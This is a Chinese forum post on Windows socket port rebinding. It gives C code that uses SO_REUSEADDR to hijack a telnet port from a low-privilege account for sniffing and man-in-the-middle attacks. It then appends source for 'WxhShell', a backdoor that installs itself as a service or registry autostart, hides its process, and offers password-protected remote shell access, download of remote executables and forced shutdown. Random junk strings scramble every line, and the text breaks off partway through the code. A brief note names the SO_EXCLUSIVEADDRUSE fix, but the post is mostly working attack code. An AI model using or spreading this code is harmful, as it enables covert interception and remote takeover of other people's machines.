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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n.a55uy  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @/w ($w"  
:k"VR,riF  
  saddr.sin_family = AF_INET; j%V95M% $  
=WYI|3~Cz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *u|bmt  
c~0hu*&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r/32pY  
#RG/B2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Rpi@^~aPE  
*_aeK~du.  
  这意味着什么?意味着可以进行如下的攻击: x2KIGG ^  
O$2'$44HX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b\dzB\,&  
\"X<\3z2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }!W,/=z*  
J=*X%^jX9Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @ z{E  
PS13h_j  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Buue][[  
_2wU(XYH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !='?+Ysxs  
S"/M+m+ ]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 m-M.F9R  
nisW<Q`uB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %p R: .u|  
dC F!.  
  #include x P3v65Q1  
  #include *A>I)a<:  
  #include FBR]) h'Z  
  #include    7LQLeQvB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -j6&W`  
  int main() &6yh4-(7  
  { \}:&Hl+  
  WORD wVersionRequested; \R6D'Yt  
  DWORD ret; RwG@C|sG  
  WSADATA wsaData; h{R>L s  
  BOOL val; [|XMR=\>  
  SOCKADDR_IN saddr; ?_!} lg  
  SOCKADDR_IN scaddr; ?3x7_=4t@  
  int err; "-pQL )f  
  SOCKET s; 4t%g:9]vr  
  SOCKET sc; aMxg6\8  
  int caddsize; Q1?0R<jOU  
  HANDLE mt; ;~2RWj=-  
  DWORD tid;   w=UFj  
  wVersionRequested = MAKEWORD( 2, 2 ); )o:%Zrk  
  err = WSAStartup( wVersionRequested, &wsaData ); d^0vaX6e}  
  if ( err != 0 ) { &<s[(w!%%  
  printf("error!WSAStartup failed!\n"); LFi8@  
  return -1; F@76V$U.  
  } B ``)  
  saddr.sin_family = AF_INET; bpQ5B'9  
   r&u&$ "c  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }bW"Z2^nB  
tML[~AZh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #i8] f{  
  saddr.sin_port = htons(23); K%+[2Hj2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q13bV  
  { 8: x{  
  printf("error!socket failed!\n"); Q*W`mFul  
  return -1; )YP"\E  
  } gCVgL]jj(  
  val = TRUE; y)s+/Teb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?gp:uxq,.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) * [\H)Lz  
  { 0""t`y&  
  printf("error!setsockopt failed!\n"); pCE,l'Xa  
  return -1; &.> 2@  
  } +zU[rhMk'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0gI^GJN%Y!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }67lL~L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 baD`k?](  
l(o#N'!j4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7 )2Co[t  
  { tSP)'N<  
  ret=GetLastError(); n#{z"G  
  printf("error!bind failed!\n"); Qx B0I/ {  
  return -1; ~HW}Wik  
  } f.Uvf^T}2  
  listen(s,2); xJQ-k/`  
  while(1) &2~c,] 9C  
  { o@&Hc bN^  
  caddsize = sizeof(scaddr); 5#DtaVz  
  //接受连接请求 b6@(UneVM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D4@'C4kL  
  if(sc!=INVALID_SOCKET) ~^&]8~m*d  
  { J6WyFtlyLc  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^7q qO%  
  if(mt==NULL) #- l1(m  
  { @w8MOT$  
  printf("Thread Creat Failed!\n"); zlUXp0W  
  break; lK}W%hzU  
  } Z{9 mZ lIy  
  } (?G?9M#7_  
  CloseHandle(mt); -3z$~ {  
  } ,)S(SnCF  
  closesocket(s); z'FpP  
  WSACleanup(); E{Tvjh+  
  return 0; J%Cn  
  }   @v#]+9F  
  DWORD WINAPI ClientThread(LPVOID lpParam)  Uz;z  
  { j4!g&F _y  
  SOCKET ss = (SOCKET)lpParam; &!kD81?Mm  
  SOCKET sc; u%o2BLx  
  unsigned char buf[4096]; 4RLuv?,)~  
  SOCKADDR_IN saddr; &<oZl.T  
  long num; ([mC!d@a  
  DWORD val; \:'|4D]'I  
  DWORD ret; h{J=Rq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 aSN"MTw.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0q@U>#  
  saddr.sin_family = AF_INET; Z=L~W,0'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]TE,N$X  
  saddr.sin_port = htons(23); 1<Z~Gw4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }JF,:g Lk  
  { ?hz9]I/8  
  printf("error!socket failed!\n"); d0b`qk @4  
  return -1; gcaXN6C  
  } ~{8X$xs  
  val = 100; ,%bG]5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uxxS."~  
  { e\9H'$1\  
  ret = GetLastError(); UBgheu  
  return -1; Vb _W&Nwd  
  } L.%N   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m(B,a,g<  
  { A6D@#(D  
  ret = GetLastError(); f vAF0 a  
  return -1; n1"QHA  
  } yV'<l .N  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hC nqe  
  { i*T>, z  
  printf("error!socket connect failed!\n"); `8.Oc;*zu  
  closesocket(sc); 2[O\"a%  
  closesocket(ss); |uT &M`7\{  
  return -1; +2ZBj6 e9  
  } Zx1I&K\Cd  
  while(1) (_9cL,v  
  { q=_&izmE'7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B.J_(V+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lT<4c5 %  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Zi!6dl ev  
  num = recv(ss,buf,4096,0); "K!9^!4&  
  if(num>0) ZRK1 UpP  
  send(sc,buf,num,0); Fz3QSr7FU  
  else if(num==0) 6v]y\+  
  break; )|Ho"VEmg  
  num = recv(sc,buf,4096,0); {<p-/|Z52  
  if(num>0) zUe)f~4  
  send(ss,buf,num,0); 9b8kRz[ c  
  else if(num==0) _olhCLIR-  
  break; 3BTXX0yx  
  } |X'Pa9u  
  closesocket(ss); K F:W:8  
  closesocket(sc); , :10  
  return 0 ; TB8a#bK4  
  } Q9[$ 8  
bnm3 cR:h"  
lrE|>R  
========================================================== _YT9zG  
;&A%"8o  
下边附上一个代码,,WXhSHELL kOQq+_Y  
~&UfnO  
========================================================== tW=,o&C=  
`;:zZ8*  
#include "stdafx.h" B?-~f^*,jG  
a2z1/Nh  
#include <stdio.h> cP]5Qz   
#include <string.h> SU {U+  
#include <windows.h> B(omD3jzN  
#include <winsock2.h> hPM:=@ N$  
#include <winsvc.h> ff1Em.  
#include <urlmon.h> )(aj  
"%,KZI  
#pragma comment (lib, "Ws2_32.lib") K<3$>/|  
#pragma comment (lib, "urlmon.lib") #Q6.r.3@x  
cc$L56q  
#define MAX_USER   100 // 最大客户端连接数 W,g0n=2V  
#define BUF_SOCK   200 // sock buffer iJr 1w&GL$  
#define KEY_BUFF   255 // 输入 buffer G OzV#  
\0^ZNa?  
#define REBOOT     0   // 重启 f:).wi Ld  
#define SHUTDOWN   1   // 关机 v4YY6? 4  
<21@jdu3n,  
#define DEF_PORT   5000 // 监听端口 y{`aM(&  
[^J2<\<0  
#define REG_LEN     16   // 注册表键长度 fG^#G/n2  
#define SVC_LEN     80   // NT服务名长度 V*|#j0}b  
f"wm]Q59  
// 从dll定义API OFyZY@B-C~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =>_k;x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e@GR[0~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \N?,6;%xB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fFBD5q(n  
c'678!r9 P  
// wxhshell配置信息 m V U(b,  
struct WSCFG { W8/8V,  
  int ws_port;         // 监听端口 S]P80|!|  
  char ws_passstr[REG_LEN]; // 口令 ? 7H'#l  
  int ws_autoins;       // 安装标记, 1=yes 0=no v)TFpV6b{p  
  char ws_regname[REG_LEN]; // 注册表键名 EZz`pE  
  char ws_svcname[REG_LEN]; // 服务名 }EW@/; kC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D+y_&+&,t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fuwv,[m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <gdKuoY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p-6(>,+E[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EJbFo682  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,IODV`L  
Sv E|"  
}; RyxEZ7dC<y  
9aE.jpN  
// default Wxhshell configuration T\Zq/Z\  
struct WSCFG wscfg={DEF_PORT, ?;//%c8,.  
    "xuhuanlingzhe", TDMyZ!d  
    1, WC?}a^ 8  
    "Wxhshell", :=<0Z1S  
    "Wxhshell", e2onR~Cf  
            "WxhShell Service", :N3'$M"  
    "Wrsky Windows CmdShell Service", /!u#S9_B  
    "Please Input Your Password: ", K)h\X~s  
  1, wl*"Vagb  
  "http://www.wrsky.com/wxhshell.exe", $oJ)W@>  
  "Wxhshell.exe" x+L G4++  
    }; 0%m}tfQ5  
vE9M2[TJA  
// 消息定义模块 xEA%UFB.!G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]{[8$|Mg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?^# h|aUp.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dZ kr#>  
char *msg_ws_ext="\n\rExit."; $p} /&  
char *msg_ws_end="\n\rQuit."; VHyP@JB  
char *msg_ws_boot="\n\rReboot..."; Rilr)$  
char *msg_ws_poff="\n\rShutdown..."; (4U59<ie  
char *msg_ws_down="\n\rSave to "; Ix"hl0Kh  
)ZU=`!4  
char *msg_ws_err="\n\rErr!"; Tath9wlv6;  
char *msg_ws_ok="\n\rOK!"; fO4e[g;G  
%/^k r ZD  
char ExeFile[MAX_PATH]; hKT]M[Pv  
int nUser = 0; N'#Lb0`B  
HANDLE handles[MAX_USER]; dwQ*OxFl  
int OsIsNt; &.\|w  
()E:gq Q  
SERVICE_STATUS       serviceStatus; +hz^( I7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )>! IY Q  
Tz=YSQy$9  
// 函数声明 }x[d]fcC  
int Install(void); A5lP%&tu(  
int Uninstall(void); S[TJ{ L(  
int DownloadFile(char *sURL, SOCKET wsh); 4HG@moYn@  
int Boot(int flag); f[@M  
void HideProc(void); 0P5!fXs*  
int GetOsVer(void); <z>K{:+>  
int Wxhshell(SOCKET wsl); .?TPoqs7Z  
void TalkWithClient(void *cs); i>Cxi ZT  
int CmdShell(SOCKET sock); ")q{>tV  
int StartFromService(void); %Jrdr`<  
int StartWxhshell(LPSTR lpCmdLine); _t:l:x.;T  
a=55bEn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~~.v*C[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4b"%171  
HzO6hb{jJO  
// 数据结构和表定义 YzcuS/~x  
SERVICE_TABLE_ENTRY DispatchTable[] = KAR XC,z  
{ j15TavjGh  
{wscfg.ws_svcname, NTServiceMain}, &wZ ggp  
{NULL, NULL} xLE+"6;W  
}; U`j[Ni}"  
/mB'Fn6)  
// 自我安装 "CEy r0h  
int Install(void) bw@Dc T&,  
{ qM`XF32A$  
  char svExeFile[MAX_PATH]; @~!1wPvF`I  
  HKEY key; a<.7q1F  
  strcpy(svExeFile,ExeFile); x 5u.D^  
>`jsUeS  
// 如果是win9x系统,修改注册表设为自启动 =5P_xQx  
if(!OsIsNt) { pai>6p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (8!#<$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dm@wTt8N(  
  RegCloseKey(key); E)Z$7;N0x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kT(}>=]g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fr%LV#Q  
  RegCloseKey(key); \WM*2&  
  return 0; 8s4y7%,|  
    } VV(>e@Bc4  
  } 8gap _qTo  
} B| IQ/g?  
else { vqLC?{i+  
b$sw`Rsw  
// 如果是NT以上系统,安装为系统服务 U*Z P>Vv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [aF?1KxNMt  
if (schSCManager!=0) >G2o  
{ U[zY0B  
  SC_HANDLE schService = CreateService ;Ef:mr"Nu  
  ( {xw*H<"f<  
  schSCManager, k]<  
  wscfg.ws_svcname, EXDtVa Ot  
  wscfg.ws_svcdisp, @GGzah#  
  SERVICE_ALL_ACCESS, }DTpl?l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3,j)PKf ;  
  SERVICE_AUTO_START, @18"o"c7j  
  SERVICE_ERROR_NORMAL, <^,w,A  
  svExeFile, n4%|F'ma  
  NULL, {& G7 Xa  
  NULL, 9&}`.Py  
  NULL, |U?5% L  
  NULL, g$~3@zD  
  NULL ?H7*?HV  
  ); A~Eu_m  
  if (schService!=0) YzU(U_g$  
  { cA"',N8!5  
  CloseServiceHandle(schService); -6MgC9]  
  CloseServiceHandle(schSCManager); ZLdvzH@'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i^(_Gk  
  strcat(svExeFile,wscfg.ws_svcname); <ns[( Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m~9Qx`fi`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CGIcuHp  
  RegCloseKey(key); (yE?)s  
  return 0; 1TfK"\  
    } hG cq>Cvf  
  } 9|T%q2O  
  CloseServiceHandle(schSCManager); #NVtZs!V/  
} )J8dm'wH92  
} v$"#9oh  
B:5( sK  
return 1; #M6@{R2_  
} zF%CFqQ  
&R/)#NAp  
// 自我卸载 gF1q Z=<  
int Uninstall(void) ^jb55X}  
{ <3z]d?u  
  HKEY key; Ev IL[\Dy  
Z{`;Ys:zk  
if(!OsIsNt) { ?yzhk7j7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _n_lO8mK  
  RegDeleteValue(key,wscfg.ws_regname);  L5""  
  RegCloseKey(key); Q,Vv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HDYr?t~V  
  RegDeleteValue(key,wscfg.ws_regname); ,"  
  RegCloseKey(key); 6G G&mqr+  
  return 0; K+xiov-r?  
  } {gluK#Qm  
} y5iLFR3z  
} O5{!CT$  
else { R9D< lX0%  
OBi9aFoQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M~w =ZJ@  
if (schSCManager!=0) Y$!K<c k  
{ eIK8J,-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <Bb $d@c  
  if (schService!=0) WM NcPHcj  
  { oEU %"  
  if(DeleteService(schService)!=0) { BKfcK>%g  
  CloseServiceHandle(schService); cjsQm6  
  CloseServiceHandle(schSCManager); [Rw0']i`4  
  return 0; 1Vt7[L*  
  } bgGd  
  CloseServiceHandle(schService); IBb3A  
  } /J`8Gk59  
  CloseServiceHandle(schSCManager); "DM $FRI0  
} ;$l!mv 7  
} 5i7,s  
mm\Jf  
return 1; <splLZW3k  
} |/C>xunzz  
1HL}tG?+#  
// 从指定url下载文件 GrjL9+|x  
int DownloadFile(char *sURL, SOCKET wsh) |;ycEB1  
{ } WY7!Y  
  HRESULT hr; k1i*1Tc  
char seps[]= "/"; Bx0^?>  
char *token; rc1EJ(c  
char *file; q3JoU/Sf  
char myURL[MAX_PATH]; VS@o_fUx)  
char myFILE[MAX_PATH]; b+yoD  
n^'ip{  
strcpy(myURL,sURL); /lkIbmV  
  token=strtok(myURL,seps); lidzs<W-fW  
  while(token!=NULL) 2+ F34  
  { FYR%>Em  
    file=token; K/79Tb-  
  token=strtok(NULL,seps); 1U.se` L  
  } _%w-y(Sqn  
=_I2ek  
GetCurrentDirectory(MAX_PATH,myFILE); ^-c j=on=Q  
strcat(myFILE, "\\"); #P=rP=  
strcat(myFILE, file); 5t#+UR  
  send(wsh,myFILE,strlen(myFILE),0); su/l'p'  
send(wsh,"...",3,0); I0P)DR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VlRN  
  if(hr==S_OK) YlwCl4hq  
return 0; |`_qmk[:R  
else $wH{snX  
return 1; lHv;C*(_=  
8hba3L_Z  
} xOP%SF  
|8PUmax  
// 系统电源模块 `Gzukh  
int Boot(int flag) ))|Wm}  
{ \.2?951}  
  HANDLE hToken; \k/ N/&;  
  TOKEN_PRIVILEGES tkp; 5p}Y6Lc\j  
DZ5%-  
  if(OsIsNt) { <at/z9b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f@l$52f3D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z(d@!Cd  
    tkp.PrivilegeCount = 1; >J^bs &j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0?  (  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WM5 s  
if(flag==REBOOT) { Wk"4mq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /"+YE&>\  
  return 0; e  p~3e5  
} V$%%nG uE  
else { Pj>r(Cv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N ncur]  
  return 0; B~QX{  
} EQ'iyXhEe  
  } .^j #gE&B  
  else { Pf;'eOdp  
if(flag==REBOOT) { 2ikY.Xi6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0{#,'sc;  
  return 0; kmPK |R  
} {j@ S<PD  
else { _" W<>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8-5MGh0L  
  return 0; MO&QR-OY  
} S`gUSYS"w  
} 'uS!rKkQlu  
z=:<]j#=  
return 1; -jnx0{/  
} |ybW  
n#t{3qzpD  
// win9x进程隐藏模块 .ii9-+_  
void HideProc(void) l_GvdD  
{ '#gd19#  
] C_g: |q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #7I,.DUy[  
  if ( hKernel != NULL ) x4fl=  
  { ,o7aIg&_H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tgK$}#.*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uSCF;y=1g,  
    FreeLibrary(hKernel); QEK,mc3  
  } OY7\*wc:  
q+f]E&':  
return; [T#5$J  
} rTYDa3  
sc'QNhrW  
// 获取操作系统版本 *t J+!1  
int GetOsVer(void) __r]@hY   
{ |&B.YLx  
  OSVERSIONINFO winfo; \9;u.&$mNB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jjbBv~vs  
  GetVersionEx(&winfo); <jE6ye(R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ab`mID:  
  return 1; P/snzm|@  
  else ^N}zePy0  
  return 0; ?;@xAj  
} x4|>HY<p?  
:Y/i%#*1  
// 客户端句柄模块 }[XzM /t  
int Wxhshell(SOCKET wsl) k<RJSK8  
{ .WM0x{t/  
  SOCKET wsh; l0AgW_T  
  struct sockaddr_in client; Ry>c]\a]  
  DWORD myID; @r4ZN6Wn  
z2Sp  
  while(nUser<MAX_USER) {vYmK#}  
{ Dz/I"bZLC  
  int nSize=sizeof(client); JR{3n*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <Z5ak4P  
  if(wsh==INVALID_SOCKET) return 1; KD?~ hpg  
`l,=iy$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6}^0/ 76^,  
if(handles[nUser]==0) d2lOx|jt  
  closesocket(wsh); k_%2Ok   
else b);Pw"_2  
  nUser++; RaT(^b(  
  } n B4)%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y;Xb." e~  
sPY *2B  
  return 0; n ^P=a'+  
} \hN\px  
dK'?<w$  
// 关闭 socket 9k8ftxB^  
void CloseIt(SOCKET wsh) -BUxQ8/,  
{ x)0g31 4 9  
closesocket(wsh); 9t@^P^}=\m  
nUser--; ?h UC#{  
ExitThread(0); 4GWt.+{J$  
} Nf8."EDUW  
-5,QrMM<  
// 客户端请求句柄 wHm{4  
void TalkWithClient(void *cs) LX),oR  
{ XH4!|wz  
bK;I:JK3  
  SOCKET wsh=(SOCKET)cs; ^|y6oj  
  char pwd[SVC_LEN]; JwWW w1  
  char cmd[KEY_BUFF]; *0]E4]ZO  
char chr[1]; x&9}] E^<  
int i,j; Qr]xj7\@i  
Q4e*Z9YJ  
  while (nUser < MAX_USER) { H&jK|]UXoO  
Z7RGOZQ}G  
if(wscfg.ws_passstr) { `:cnu;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DpjiE/*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %7=B?c |  
  //ZeroMemory(pwd,KEY_BUFF); #(& ! ^X3  
      i=0; )\!_`ob  
  while(i<SVC_LEN) { '9^+J7iO(+  
A6ipA /_  
  // 设置超时 P5s'cPX  
  fd_set FdRead; J'^H@L/E  
  struct timeval TimeOut; "?EoYF_  
  FD_ZERO(&FdRead); i? 5jl&30  
  FD_SET(wsh,&FdRead); xCwd*lsM  
  TimeOut.tv_sec=8; +c4]}9f!  
  TimeOut.tv_usec=0; N*z_rZE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,jJ&x7ra8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?"f\"N  
q<(yNqMKP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [uCW8:e  
  pwd=chr[0]; O="# yE)  
  if(chr[0]==0xd || chr[0]==0xa) { E!<w t  
  pwd=0; qN((Xz+AZE  
  break; .),ql_sXr  
  } 19-|.9m(  
  i++; sv`+?hjG  
    } S@i*+&Ot  
M mH[ 7R  
  // 如果是非法用户,关闭 socket =au7'i|6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kBolDPvBG  
} 0'y9HE'e  
,E,oz{,i(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eh_ {-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $YuVM  
c{4C4'GD  
while(1) { D?;8bI%"  
>zcR ?PPs  
  ZeroMemory(cmd,KEY_BUFF); {n9]ej^  
SXX6EIJr|  
      // 自动支持客户端 telnet标准   /V@~Vlww  
  j=0; Ny|2Fcs  
  while(j<KEY_BUFF) { ,ErJUv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \49LgN@\  
  cmd[j]=chr[0]; R3+y*< <e  
  if(chr[0]==0xa || chr[0]==0xd) { 2q V.`d  
  cmd[j]=0; 5dc24GB>_  
  break; :SFcnYv0  
  } ,{wA%Oy,  
  j++; uk%C:4T  
    } *Y !'3|T  
;M{@|z[Nv  
  // 下载文件 oc .H}Eb%Z  
  if(strstr(cmd,"http://")) {  d(PS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !Ra.DSL  
  if(DownloadFile(cmd,wsh)) BR\3ij  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qr>:meJy4  
  else R'R LF =  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hq9yu*!u  
  } ;xF5P'T?|  
  else { ;Zfglid  
4+&4  
    switch(cmd[0]) { Q/[|/uNw?  
  <P&~k\BuF{  
  // 帮助 H9nVtS{x  
  case '?': { 9W{`$30  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !Ld0c4  
    break; JU^ {!u  
  } Vk%[N>  
  // 安装 I| j Gu9G  
  case 'i': { q{D_p[q  
    if(Install()) b0W~*s [4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Los\6PRn  
    else r|!w,>.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9MfBsp}c  
    break; S!!i  
    } EHpIbj;n  
  // 卸载 qMy>: ,)Z  
  case 'r': { vbT"}+^Sh  
    if(Uninstall()) &t .9^;(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G#{ Xd6L  
    else C1=7.dPr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s;oDwT1  
    break; i=b<Mz7|  
    } s9t`!  
  // 显示 wxhshell 所在路径 AKW M7fI  
  case 'p': { e}|UVoeH  
    char svExeFile[MAX_PATH]; GilaON*pK.  
    strcpy(svExeFile,"\n\r"); U~{fbS3,  
      strcat(svExeFile,ExeFile); aju!Aq54G  
        send(wsh,svExeFile,strlen(svExeFile),0); Y:|_M3&'o  
    break; piq1cV  
    } bb<qnB  
  // 重启 N}`.N  
  case 'b': { ,S"a ,}8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PF$K> d  
    if(Boot(REBOOT)) ;O7CahdF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EPx_xX  
    else { qRXQL"Pe_l  
    closesocket(wsh); l :sZ  
    ExitThread(0); Z}#, E ;  
    } Oc\Bu6F  
    break; .&Uu w  
    } ;r(hZ%pD  
  // 关机 {Rc!S? 8  
  case 'd': { Y@)iPK@z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _`6fGu& W  
